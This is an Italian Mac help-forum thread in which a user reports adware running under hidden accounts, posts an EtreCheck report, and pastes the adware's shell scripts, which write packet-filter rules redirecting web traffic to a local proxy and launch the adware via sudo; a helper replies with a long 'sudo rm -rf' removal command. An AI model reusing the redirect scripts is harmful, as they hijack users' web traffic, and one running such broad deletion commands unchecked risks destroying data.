Malware e adware sul mio mac

Tutto quello che riguarda OS X Mavericks 10.9

Moderatore: ModiMaccanici

bendis
Stato: Non connesso
Maccanico attivo
Maccanico attivo
Iscritto il: sab, 04 giu 2016 15:41
Messaggi: 305

Top

ciao a tutti

è un pò di giorni che ho qualche problemino sul mio mac ma niente di preoccupante, più che altro curiosando nella libreria ho trovato delle cartelle sospette create da pochi giorni e controllando su monitoraggio attività ho notato che avevo un'utente sconosciuto chiamato zenonian che attivava processi sul mio computer che facevano capo a queste cartelle:
adhesive
hinderment
campylodrome
impanation
palaeophile

ho cominciato a cercare su google ma non ho trovato nulla, poi ho fatto ricerche più generiche e ho installato malwarebytes, ho staccato il wifi (ora sto usando un'altro mac) e l'ho avviato
malwarebytes ha trovato vari adware che ha eliminato

ho riavviato e controllato se fossero sparite anche quelle cartelle ma sono ancora lì e controllando su monitoraggio attività i processi ci sono ancora solo che ora fanno capo all'utente unestimableness

quindi ho seguito il vostro consiglio a un'altro utente e ho scaricato etrecheck
ho lanciato il check e questo è il risultato:

----------

EtreCheck version: 2.9.12 (265)
Report generated 2016-06-04 15:34:41
Download EtreCheck from https://etrecheck.com" onclick="window.open(this.href);return false;
Runtime 1:26
Performance: Excellent

Click the [Support] links for help with non-Apple products.
Click the [Details] links for more information about that line.
Click the [Remove] links to remove adware.
Click the [Check files] link for help with unknown files.

Problem: Apps are crashing

Hardware Information: ⓘ
27" iMac (Late 2013)
[Technical Specifications] - [User Guide] - [Warranty & Service]
iMac - model: iMac14,2
1 3.5 GHz Intel Core i7 CPU: 4-core
16 GB RAM Upgradeable - [Instructions]
BANK 0/DIMM0
8 GB DDR3 1600 MHz ok
BANK 1/DIMM0
8 GB DDR3 1600 MHz ok
BANK 0/DIMM1
Empty
BANK 1/DIMM1
Empty
Bluetooth: Good - Handoff/Airdrop2 supported
Wireless: en1: 802.11 a/b/g/n/ac

Video Information: ⓘ
NVIDIA GeForce GTX 780M - VRAM: 4096 MB
iMac 2560 x 1440

System Software: ⓘ
OS X Mavericks 10.9.5 (13F1808) - Time since boot: less than an hour

Disk Information: ⓘ
APPLE SSD SM0256F disk0 : (251 GB) (Solid State - TRIM: Yes)
EFI (disk0s1) <not mounted> : 210 MB
Macintosh HD (disk0s2) / : 250.14 GB (56.29 GB free)
Recovery HD (disk0s3) <not mounted> [Recovery]: 650 MB

USB Information: ⓘ
SanDisk U3 Cruzer Micro 16,05 GB
DAG_CRUZER (disk1s1) /Volumes/DAG_CRUZER : 16.05 GB (14.00 GB free)
Apple Inc. FaceTime HD Camera (Built-in)
Apple Inc. BRCM20702 Hub
Apple Inc. Bluetooth USB Host Controller

Thunderbolt Information: ⓘ
Apple Inc. thunderbolt_bus

Gatekeeper: ⓘ
Mac App Store and identified developers

Adware: ⓘ
/Library/LaunchDaemons/com.enigmatizationUpd.plist
/Library/LaunchDaemons/com.retinochorioiditisUpd.plist
2 adware files found. [Remove]

Unknown Files: ⓘ
/Library/LaunchDaemons/com.adhesive.plist
/etc/adhesive.sh
/Library/LaunchDaemons/com.campylodrome.plist
/etc/campylodrome.sh
/Library/LaunchDaemons/com.hinderment.plist
/etc/hinderment.sh
/Library/LaunchDaemons/com.impanation.plist
/etc/impanation.sh
/Library/LaunchDaemons/com.palaeophile.plist
/etc/palaeophile.sh
/Library/LaunchDaemons/com.usysir.plist
6 unknown files found. [Check files]

Kernel Extensions: ⓘ
/Applications/Toast 11 Titanium/Spin Doctor.app
[not loaded] com.hzsystems.terminus.driver (4 - 2014-05-14) [Support]

/System/Library/Extensions
[loaded] com.nvidia.CUDA (1.1.0 - 2016-06-02) [Support]
[not loaded] com.roxio.BluRaySupport (1.1.6 - 2016-06-02) [Support]
[not loaded] com.sony.filesystem.prodisc_fs (2.3.2d12 - SDK 10.0 - 2016-06-02) [Support]
[not loaded] com.sony.protocol.prodisc (2.3.2d12 - SDK 10.0 - 2016-06-02) [Support]
[loaded] com.vara.driver.VaraAudio (1.0.3 - 2016-06-02) [Support]
[not loaded] com.wdc.driver.1394HP (1.0.11 - SDK 10.4 - 2016-06-02) [Support]
[not loaded] com.wdc.driver.1394_64HP (1.0.1 - SDK 10.6 - 2016-06-02) [Support]
[not loaded] com.wdc.driver.USBHP (1.0.11 - 2016-06-02) [Support]
[not loaded] com.wdc.driver.USB_64HP (1.0.0 - SDK 10.6 - 2016-06-02) [Support]
[not loaded] jp.panasonic.iokit.AJMPD1ProtocolService (1.0.1 - SDK 10.8 - 2016-06-02) [Support]
[not loaded] jp.panasonic.iokit.p2drivefamily (3.1.7 - SDK 10.7 - 2016-06-02) [Support]

/System/Library/Extensions/P2DriveFamilyDriver.kext/Contents/PlugIns
[not loaded] jp.panasonic.iokit.P2FireWireSBP2 (4.2.0 - SDK 10.7 - 2014-08-27) [Support]
[not loaded] jp.panasonic.iokit.PCD35Device (2.0.4 - SDK 10.7 - 2014-08-27) [Support]

~/Library/Services/ToastIt.service/Contents/MacOS
[not loaded] com.roxio.TDIXController (2.0 - 2014-05-14) [Support]

System Launch Agents: ⓘ
[not loaded] 4 Apple tasks
[loaded] 148 Apple tasks
[running] 32 Apple tasks

System Launch Daemons: ⓘ
[not loaded] 47 Apple tasks
[loaded] 142 Apple tasks
[running] 59 Apple tasks

Launch Agents: ⓘ
[not loaded] com.adobe.AAM.Updater-1.0.plist (2015-06-21) [Support]
[failed] com.adobe.ARMDCHelper.cc24aef4a1b90ed56a...plist (2016-06-02) [Support]
[loaded] com.divx.dms.agent.plist (2014-11-17) [Support]
[loaded] com.divx.update.agent.plist (2014-05-19) [Support]
[loaded] com.google.keystone.agent.plist (2016-04-07) [Support]
[loaded] com.nvidia.CUDASoftwareUpdate.plist (2016-06-04) [Support]
[loaded] com.panasonic.p2csvc.plist (2013-06-24) [Support]
[not loaded] com.teamviewer.teamviewer.plist (2015-03-02) [Support]
[not loaded] com.teamviewer.teamviewer_desktop.plist (2015-03-02) [Support]

Launch Daemons: ⓘ
[running] com.adhesive.plist (2016-06-03) [Support]
[loaded] com.adobe.ARMDC.Communicator.plist (2016-06-02) [Support]
[loaded] com.adobe.ARMDC.SMJobBlessHelper.plist (2016-06-02) [Support]
[loaded] com.adobe.fpsaud.plist (2016-05-10) [Support]
[loaded] com.apple.aelwriter.plist
[not loaded] com.apple.athechyer.plist (2016-05-26) - Executable not found!
[running] com.apple.qmaster.qmasterd.plist
[not loaded] com.apple.saml.plist (2016-05-16) - Executable not found!
[running] com.campylodrome.plist (2016-06-02) [Support]
[loaded] com.enigmatizationUpd.plist (2015-11-10) Adware! [Remove]
/etc/run_upd.sh
[loaded] com.google.keystone.daemon.plist (2016-04-07) [Support]
[running] com.hinderment.plist (2016-06-04) [Support]
[running] com.impanation.plist (2016-06-02) [Support]
[loaded] com.malwarebytes.MBAMHelperTool.plist (2016-06-04) [Support]
[loaded] com.noiseindustries.FxFactory.plist (2014-09-10) [Support]
[loaded] com.nvidia.cuda.launcher.plist (2014-09-26) [Support]
[running] com.palaeophile.plist (2016-06-02) [Support]
[not loaded] com.retinochorioiditisUpd.plist (2016-06-02) Adware! [Remove]
[loaded] com.teamviewer.Helper.plist (2015-03-02) [Support]
[not loaded] com.teamviewer.teamviewer_service.plist (2015-03-02) [Support]
[not loaded] com.usysir.plist (2016-05-10) [Support]

User Launch Agents: ⓘ
[loaded] com.adobe.AAM.Updater-1.0.plist (2014-09-26) [Support]
[failed] com.adobe.ARM.[...].plist (2014-12-05) [Support]


Other Apps: ⓘ
[failed] /Library/usysir/usysir.app/Contents/MacOS/usysir
[running] [0x0-0x21021].com.etresoft.EtreCheck
[running] [0x0-0x4004].com.malwarebytes.antimalware
[running] com.adobe.PDApp.AAMUpdatesNotifier.97536.BC6E27CB-F50F-4B8B-8489-5CE7B0BF2B14
[running] com.malwarebytes.Malwarebytes-Anti-Malware-Service
[running] com.panasonic.p2csvc.156672
[loaded] retinochorioiditisUpd.plist
[loaded] 449 Apple tasks
[running] 278 Apple tasks

Internet Plug-ins: ⓘ
FlashPlayer-10.6: 21.0.0.242 - SDK 10.6 (2016-06-02) [Support]
QuickTime Plugin: 7.7.3 (2016-06-02)
AdobePDFViewerNPAPI: 15.016.20039 - SDK 10.11 (2016-05-03) [Support]
AdobePDFViewer: 15.016.20039 - SDK 10.11 (2016-05-03) [Support]
DivX Web Player: 3.2.4.1250 - SDK 10.6 (2014-11-26) [Support]
Flash Player: 21.0.0.242 - SDK 10.6 (2016-06-02) Cannot contact Adobe
Default Browser: 537 - SDK 10.9 (2014-09-24)
Google Earth Web Plug-in: 7.1 (2016-04-07) [Support]
OVSHelper: 1.1 (2014-11-26) [Support]
Flip4Mac popoWMV Plugin: 2.4.0.11 (2014-05-14) [Support]
Silverlight: 4.0.60531.0 (2014-05-14) [Support]

User internet Plug-ins: ⓘ
Picasa: 1.0 - SDK 10.6 (2015-10-13) [Support]

Audio Plug-ins: ⓘ
DVCPROHDAudio: 1.3.2 (2014-05-14)

3rd Party Preference Panes: ⓘ
CUDA Preferences (2014-08-01) [Support]
Flash Player (2016-05-10) [Support]
Flip4Mac WMV (2011-06-30) [Support]
Tuxera NTFS (2011-06-20) [Support]

Time Machine: ⓘ
Time Machine not configured!

Top Processes by CPU: ⓘ
6% fontd
3% WindowServer
2% kernel_task
1% Dock
1% p2csvc

Top Processes by Memory: ⓘ
854 MB kernel_task
147 MB WindowServer
131 MB com.apple.IconServicesAgent
98 MB mds_stores
82 MB Finder

Virtual Memory Information: ⓘ
13.00 GB Free RAM
2.86 GB Used RAM (2.47 GB Cached)
0 B Swap Used

Diagnostics Information: ⓘ
Jun 4, 2016, 03:01:50 PM Self test - passed
Jun 4, 2016, 03:01:11 PM ~/Library/Logs/DiagnosticReports/p2csvc_2016-06-04-150111_[redacted].crash
com.panasonic.p2csvc - /Users/Shared/*/p2csvc.app/Contents/MacOS/p2csvc
Jun 4, 2016, 12:52:28 PM ~/Library/Logs/DiagnosticReports/p2csvc_2016-06-04-125228_[redacted].crash
Jun 4, 2016, 12:46:19 PM /Library/Logs/DiagnosticReports/adhesive_2016-06-04-124619_[redacted].crash
/Library/adhesive/*/adhesive
Jun 3, 2016, 07:22:19 PM ~/Library/Logs/DiagnosticReports/p2csvc_2016-06-03-192219_[redacted].crash
Jun 2, 2016, 11:46:29 PM ~/Library/Logs/DiagnosticReports/p2csvc_2016-06-02-234629_[redacted].crash
Jun 2, 2016, 06:43:15 PM ~/Library/Logs/DiagnosticReports/p2csvc_2016-06-02-184315_[redacted].crash
Jun 2, 2016, 06:35:39 PM ~/Library/Logs/DiagnosticReports/p2csvc_2016-06-02-183539_[redacted].crash
Jun 2, 2016, 06:15:36 PM /Library/Logs/DiagnosticReports/palaeophile_2016-06-02-181536_[redacted].crash
/Library/palaeophile/*/palaeophile
Jun 2, 2016, 03:53:08 PM ~/Library/Logs/DiagnosticReports/p2csvc_2016-06-02-155308_[redacted].crash
Jun 2, 2016, 01:25:06 AM ~/Library/Logs/DiagnosticReports/p2csvc_2016-06-02-012506_[redacted].crash

----------

da quel poco che capisco ho ancora dei malware e forse posso eliminarli anche con etrecheck, giusto?
comunque cosa mi consigliate?

grazie mille a tutti

Avatar utente
faxus
Stato: Non connesso
Pro-Expert 
Pro-Expert 
Avatar utente
Iscritto il: lun, 02 giu 2014 15:12
Messaggi: 30459
Località: Circondato dalle bufale

Top

Contatta:
Prova anche con Etrecheck, ma poi verifica.

Attualmente girano degli adware su OS X che nessun automatismo può cancellare.
Quasi sempre si riescono a cancellare a mano.

Segui (come linee guida, non come nomi, ho già verificato che non ci sono).
Poi verifica se è rimasto qualcosa.

Poi prova anche con un cercatore boleano:
Per esempio EasyFind
http://www.devontechnologies.com/products/freeware/" onclick="window.open(this.href);return false;
Inserisci quei nomi, uno per uno e prova cancellare quel che trovi con quel nome direttamente dal programma.

Io intanto faccio una ricerca e guardo i miei appunti su questi nuovi adware

bendis
Stato: Non connesso
Maccanico attivo
Maccanico attivo
Iscritto il: sab, 04 giu 2016 15:41
Messaggi: 305

Top

grazie mille!

ora provo a fare quello che mi dici

Avatar utente
faxus
Stato: Non connesso
Pro-Expert 
Pro-Expert 
Avatar utente
Iscritto il: lun, 02 giu 2014 15:12
Messaggi: 30459
Località: Circondato dalle bufale

Top

Contatta:
Lascia perdere...

Ho trovato cos'è, guardando nei miei appunti che stavo preparando per il Forum.
Si tratta di un nuovo tipo di adware, si installa facendosi passare per un documento di sistema Apple.
Poi installa automaticamente tutto quello che cancelli.

Questo non rientra fra quelli conosciuti, per cui andremo per esperimento.

Ti devo preparare un comando di Terminale per eliminarli (se ci riesco).
Intanto, a questo scopo mi dovresti fornire il contenuto di questa cartella.
Dal Finder, menù Vai, seleziona Vai alla cartella, scrivi nella finestra che si apre:
/etc/
Copia sul post SOLO i file che cominciano per run

bendis
Stato: Non connesso
Maccanico attivo
Maccanico attivo
Iscritto il: sab, 04 giu 2016 15:41
Messaggi: 305

Top

purtroppo ho già cancellato tutto (tra l'altro a fatica nel senso che per svuotare il cestino dovevo terminae i processi che poi si riavviavano da soli quindi ne terminavo uno e poi andavo velocemente a svuotare e così via)
ho riavviato e pare che non ci sia più nulla (non mi sono ancora collegata al wifi però...)

comunque, rispetto a quello che mi hai chiesto l'unico file che comincia con run è run_upd_sh

bendis
Stato: Non connesso
Maccanico attivo
Maccanico attivo
Iscritto il: sab, 04 giu 2016 15:41
Messaggi: 305

Top

non so se ti può essere utile ma questo è il testo che c'era dentro il file rec.script.sh che era contenuto dentro le cartelle sconosciute che erano comparse dentro la mia libreria e che a loro volta contenevano una cartella Mac OS con questo file (ho il testo perchè avevo provato a inviarlo a un amico che ci capisce più di me di computer per vedere se lui sapeva cos'era)

# set redirections
HIDDEN_USER=$(sudo defaults read /Library/Preferences/com.common.plist user_id)
echo $HIDDEN_USER

activeInterface=$(route get default | sed -n -e 's/^.*interface: //p')
if [ -n "$activeInterface" ]; then
pfData="rdr pass inet proto tcp from $activeInterface to any port 80 -> 127.0.0.1 port 9882\n\
pass out on $activeInterface route-to lo0 inet proto tcp from $activeInterface to any port 80 keep state\n\
pass out proto tcp all user "$HIDDEN_USER"\n"
echo "$pfData" > /etc/pf_proxy.conf
else
echo "Unable to find active interface"
exit 1
fi

exit 0

bendis
Stato: Non connesso
Maccanico attivo
Maccanico attivo
Iscritto il: sab, 04 giu 2016 15:41
Messaggi: 305

Top

guardando nell'elenco che mi è spuntato con \etc\ ho visto che dentro private-etc ci sono ancora tutti i file .sh e .conf dei malware che ho cancellato

dentro adhesive.sh il testo è questo:

#!/bin/sh

if [ -a /Library/adhesive/Contents/MacOS/adhesive ];
then
sleep 10
sudo pfctl -evf /etc/adhesive.conf
sudo -u Buddhology /Library/adhesive/Contents/MacOS/adhesive
fi
exit 0


cancello anche questi o è meglio di no?
per sicurezza lascio quel mac staccato dalla rete?

Avatar utente
faxus
Stato: Non connesso
Pro-Expert 
Pro-Expert 
Avatar utente
Iscritto il: lun, 02 giu 2014 15:12
Messaggi: 30459
Località: Circondato dalle bufale

Top

Contatta:
Cosa c’è nella chiavetta DAG_CRUZER?
In ogni caso scollegala dal Mac per compiere le operazioni sotto descritte.

Perché stai ancora ferma a Mavericks, invece di usare El Capitan?

Usa Terminale.
Lo trovi in Applicazioni /Utility, oppure cmd+spazio scrivi ter e dai accapo.
Vedrai comparire delle parole, segni e il tuo nome utente, il prompt, a cui segue una barretta per inserire testo.
È pronto per eseguire un ordine.
Copia e incolla dopo la barretta (non scrivere tu) con attenzione questo testo:

Codice: Seleziona tutto

sudo rm -rf /Library/LaunchDaemons/com.enigmatizationUpd.plist /Library/LaunchDaemons/com.retinochorioiditisUpd.plist /Library/Launch Daemon/com.apple.athechyer.plist /Library/LaunchDaemons/com.adhesive.plist /Library/LaunchDaemons/com.campylodrome.plist /Library/LaunchDaemons/com.hinderment.plist /Library/LaunchDaemons/com.impanation.plist /Library/LaunchDaemons/com.palaeophile.plist /Library/LaunchDaemons/com.usysir.plist /Library/LaunchDaemons/com.apple.athechyer.plist /Library/LaunchDaemons/com.apple.saml.plist /private/etc/adhesive.sh /private/etc/campylodrome.sh /private/etc/com.hinderment.plist /private/etc/impanation.sh /private/etc/palaeophile.sh /private/etc/com.usysir.plist /private/etc/run_upd.sh /Library/usysir/usysir.app/Contents/MacOS/usysir /Library/usysir/*
Dai accapo per eseguirlo.
Quando ti chiede la password, scrivila ma senza poterla visualizzare, dai accapo.
Poi scrivi exit, accapo, cmd+Q per uscire correttamente da Terminale

Fai una ricerca con EasyFind
http://www.devontechnologies.com/products/freeware/" onclick="window.open(this.href);return false;
per queste singole parole

adhesive
hinderment
campylodrome
impanation
palaeophile
athechyer
enigmatization
retinochorioiditis
usysir
saml

e cestina tutto quello che trovi.

Sono fortemente sospetti
Flip4Mac popoWMV Plugin eliminalo
Flip4Mac non serve più, in ogni caso eliminalo
Il software Panasonic è difettoso, eliminalo

Apri Safari e tutti gli altri browser che usi e cancella tutti i cookie.

Riposta, per favore il check, dopo queste operazioni.
In seguito ti darò altre istruzioni.
Spero di aver scritto tutto bene, siamo i primi ad aver scoperto questo adware e dobbiamo fare artigianalmente

bendis
Stato: Non connesso
Maccanico attivo
Maccanico attivo
Iscritto il: sab, 04 giu 2016 15:41
Messaggi: 305

Top

DAG_CRUZER è una mia chiavetta che sto usando per passarmi i file di testo da un mac all'atro visto che il mac infettato è scollegato dalla rete

ho ancora Mavericks perchè per lavoro uso ancora final cut 7 e temo che su el capitan non funzioni

grazie di tutto, ora eseguo quello che mi hai scritto

cosa significa "non scrivere tu"?

Avatar utente
faxus
Stato: Non connesso
Pro-Expert 
Pro-Expert 
Avatar utente
Iscritto il: lun, 02 giu 2014 15:12
Messaggi: 30459
Località: Circondato dalle bufale

Top

Contatta:
Intanto grazie per aver copiato il contenuto degli /private/etc/.

Saranno utili per compilare un post che potrà servire ad altri.
Ma a questo punto non sono convinto che abbiamo estirpato tutto.

Dovresti inviarmi tutto quello che trovi in /private/etc/ che abbia i nomi che sappiamo.

È molto preoccupante che quegli script per Terminale contengano istruzioni con superutente col sudo e che vengano eseguiti facendo uso della password d'amministrazione.

Penso che bisognerà segnalare il tutto ad Apple

Edit: Non scrivere tu significa che devi copiare e basta, tutto così com'è.
Anche se, credo, dovremo implementare quel comando

Avatar utente
faxus
Stato: Non connesso
Pro-Expert 
Pro-Expert 
Avatar utente
Iscritto il: lun, 02 giu 2014 15:12
Messaggi: 30459
Località: Circondato dalle bufale

Top

Contatta:
Se non hai già cancellato tutto...

PUOI FARE UNA COPIA DI QUEI FILE E METTERLI IN UNA CARTELLA ZIPPATA?
poi me li potrai inviare con DroBox per messaggio privato

Non sono virus, quindi una volta copiati altrove non sono pericolosi

bendis
Stato: Non connesso
Maccanico attivo
Maccanico attivo
Iscritto il: sab, 04 giu 2016 15:41
Messaggi: 305

Top

grazie a te che mi stai aiutando!

ok
nel frattempo ho eseguito il comando e con easyfind sto cercando i vari file
per ora ne ho 2 che non riesco a cancellare nel senso che easy find li trova, mi dice dove sono ma se faccio rivela in finder mi apre la cartella ma non vedo il file

per ora sono
.adhesive_2016-06-04-124619_iMac-di-mionome.crash.plist ed è in /library/Logs/DiagnosticReports ed è di tipo plist
enigmatizationupd.root (e secondo easyfind è in /private/var/tmp ed è di tipo root

comunque per sicurezza appena mi sono accorta di sta cosa ho cambiato la pass di sistema

Avatar utente
faxus
Stato: Non connesso
Pro-Expert 
Pro-Expert 
Avatar utente
Iscritto il: lun, 02 giu 2014 15:12
Messaggi: 30459
Località: Circondato dalle bufale

Top

Contatta:
Fai un elenco di tutto quello che trovi e riportalo per favore.
Poi compilerò un comando per cancellare tutto.

Conserva tutto quello che puoi dentro una cartella che poi mi invierai.

Non c'è pericolo per adesso per la tua password.
Da quello che ho capito ha creato un nuovo utente (nascosto).
Sta utilizzando quello per eseguire gli script, con la password d'amministrazione

bendis
Stato: Non connesso
Maccanico attivo
Maccanico attivo
Iscritto il: sab, 04 giu 2016 15:41
Messaggi: 305

Top

faxus ha scritto:Se non hai già cancellato tutto...

PUOI FARE UNA COPIA DI QUEI FILE E METTERLI IN UNA CARTELLA ZIPPATA?
poi me li potrai inviare con DroBox per messaggio privato

Non sono virus, quindi una volta copiati altrove non sono pericolosi
azz... ho già cancellato tutto....

mi rimangono delle cartelle vuote dentro private/var/ (che tra l'altr easyfind non aveva trovato)
i nomi sono "Zenonian" e "unestimableness" che erano i 2 utenti che mi comparivano su monitaraggio attività
c'è anche una cartella "Buddhology"
sono messe private cioè io non posso accedere a meno di cambiare i permessi

tra l'altro sui permessi ho notato una cosa strana:
sui miei file "normali" se guardo le info dei permessi ho come nome
mionome privilegio: lettura e scrittura
staff privilegio: solo lettura
everyone privilegio: solo lettura


mentre in questi file nascosti ho:
Zenonian privilegio: Lettura e scrittura
wheel: privilegio: solo lettura
everyone: privilegio: Nessun accesso

Avatar utente
faxus
Stato: Non connesso
Pro-Expert 
Pro-Expert 
Avatar utente
Iscritto il: lun, 02 giu 2014 15:12
Messaggi: 30459
Località: Circondato dalle bufale

Top

Contatta:
Sei bravissima.

Buddology lo avevo scoperto.
Ma pensavo ci fosse solo un utente.
Invece sono due.

I permessi sono regolari, formalmente.

Comunque, conserva quel che puoi.
Vedo che non usi Time Machine, pessimo.
Ma hai altri backup dove potrebbe esserci copia?

Rispondi

Torna a “OS X Mavericks 10.9”

Chi c’è in linea

Visitano il forum: Nessuno e 5 ospiti